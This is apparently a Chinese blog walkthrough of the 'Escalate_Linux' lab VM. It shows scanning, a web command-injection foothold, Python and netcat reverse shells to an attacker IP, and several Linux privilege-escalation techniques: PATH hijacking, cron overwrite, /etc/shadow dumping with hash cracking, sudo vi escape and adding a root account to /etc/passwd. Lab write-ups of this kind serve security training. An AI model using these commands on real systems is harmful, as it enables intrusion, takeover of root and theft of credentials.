Escalate_Linux详解

一、主机发现

arp-scan -l

靶机ip为192.168.55.152

二、端口扫描、目录枚举+拿到低权限shell

2.1端口扫描

nmap -p- 192.168.55.152 

发现很多端口开放

2.2目录枚举

dirb http://192.168.55.152

发现没有扫描出来有用的路径

尝试爆破php后缀的路径

dirb http://192.168.55.152 -X .php

发现此路径,尝试访问

靶机给我们提示说cmd可以执行命令,尝试使用hackbar进行命令拼接

执行命令成功,此时就可以进行反弹shell了

看看靶机是不是有python

直接拼接python的反弹shell命令

http://192.168.55.152/shell.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.55.132",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

拿到低权限shell

三、提权

3.1suid提权

查看该用户能够使用的root命令,发现需要用户的密码

查找一下suid权限的命令

find / -perm -4000 -print 2>/dev/null

发现这里有一个shell文件,尝试用这个文件进行提权

进入/home/user3后直接执行该文件即可成功提权

3.2全局环境变量劫持提权

刚刚发现user5目录下有script脚本,是二进制文件

cat一下发现没有合适的命令劫持

执行该文件发现它跟ls命令效果一样,此处可以尝试使用ls的命令劫持

命令如下:

cd /tmp
echo "/bin/bash" > ls
chmod +x ls
echo $PATH
export PATH=/tmp:$PATH
cd /home/user5/
./script

3.3计划任务提权

发现用户4桌面下有一个计划任务

cat /etc/crontab

由于环境变量的问题,在user4目录下需要使用/bin/ls代替ls命令

由于没有user4的密码,所以需要先劫持环境变量更改user4的密码

cd /tmp
echo 'echo "user4:123" | chpasswd' >ls
chmod +x ls
echo $PATH
export PATH=/tmp:$PATH
cd /home/user5/
./script
su user4

使用msf生成反弹shell的命令

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.55.132 lport=8888 R

然后将生成的反弹shell命令覆盖此定时文件

echo 'mkfifo /tmp/ktnq; nc 192.168.55.132 8888 0</tmp/ktnq | /bin/sh >/tmp/ktnq 2>&1; rm /tmp/ktnq' > autoscript.sh

成功提权

3.4爆破密码直接提权

cd /tmp
echo 'cat /etc/shadow' >/tmp/ls
chmod +x ls
echo $PATH
export PATH=/tmp:$PATH
cd /home/user5/
./script

成功找到root用户的密码

使用john直接将密码爆破出来

echo 'root:$6$mqjgcFoM$X/qNpZR6gXPAxdgDjFpaD1yPIqUF5l5ZDANRTKyvcHQwSqSxX5lA7n22kjEkQhSP6Uq7cPaYfzPSmgATM9cwD1' > 1.txt
john 1.txt

直接输入密码即可

成功提权

3.5vi提权

user8对vi编辑器具有sudo权限,先将user8的密码进行修改

cd /tmp
echo 'echo "user8:123" | chpasswd' >ls
chmod +x ls
echo $PATH
export PATH=/tmp:$PATH
cd /home/user5/
./script
su user8

发现user8对vi具有高权限

sudo vi
:!sh
id

成功提权

3.6openssl提权

查看/etc/passwd,发现user7的gid为0,尝试登陆user7然后创建一个新的用户

cd /tmp
echo 'cat /etc/passwd' >ls
chmod +x ls
echo $PATH
export PATH=/tmp:$PATH
cd /home/user5/
./script

更改user7的密码

cd /tmp
echo 'echo "user7:123" | chpasswd' >ls
chmod +x ls
echo $PATH
export PATH=/tmp:$PATH
cd /home/user5/
./script
su user7

使用openssl生成新用户的密码

openssl passwd -1 -salt ysy 123

生成内容如下:

$1$ysy$FEKea8H9FLIyRztwO8UXd

在/etc/passwd中添加如下内容

echo 'ysy:$1$ysy$FEKea8H9FLIyRztwO8UXd/:0:0:/root:/bin/bash' >> /etc/passwd

直接切换ysy用户即可成功登陆

3.7sudo提权

首先修改user1的密码

cd /tmp
echo 'echo "user1:123" | chpasswd' >ls
chmod +x ls
echo $PATH
export PATH=/tmp:$PATH
cd /home/user5/
./script
su user1

查看sudo权限发现该用户权限很高,直接启动该用户的shell即可成功提权

sudo -u user1 bash
sudo su
123

3.8mysql提权

首先使用默认密码进行登录

mysql -u root -p 
root

找到数据库的账户密码

show databases;
use user;
show tables;
select * from user_info;

进入 mysql 账户

找到账号的密码

cd ~
chmod 600 .user_informations
cat .user_informations

继续寻找信息,找到root账户的密码

cd /etc/mysql
cat secret.cnf

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值